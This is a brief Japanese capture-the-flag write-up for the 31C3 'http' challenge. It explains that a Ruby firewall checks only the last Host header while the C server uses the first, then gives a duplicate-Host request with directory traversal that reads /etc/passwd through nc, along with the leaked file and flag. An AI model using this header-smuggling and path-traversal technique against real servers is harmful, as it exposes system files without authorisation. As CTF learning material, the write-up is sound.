= http = * rubyで書かれたファイアウォールでチェックされた後,Cで書かれたHTTPサーバに渡される。 * rubyではヘッダは最後にあるものだけを確認する。 * C側では最初にあるHostヘッダを採用する。 次の内容を改行CRLFで送信する。 {{{ GET /passwd HTTP/1.1 Host: ../../../../../../../../../etc Host: works.90.31c3ctf.aachen.ccc.de }}} {{{ % cat exploit | nc works.90.31c3ctf.aachen.ccc.de 80 HTTP/1.0 200 OK ... user:x:1000:1000:user,,,:/home/user:/bin/bash flag:x:1001:1001:31C3_b45fa9e4d5969e3c524bdcde15f84125:/home/flag: }}}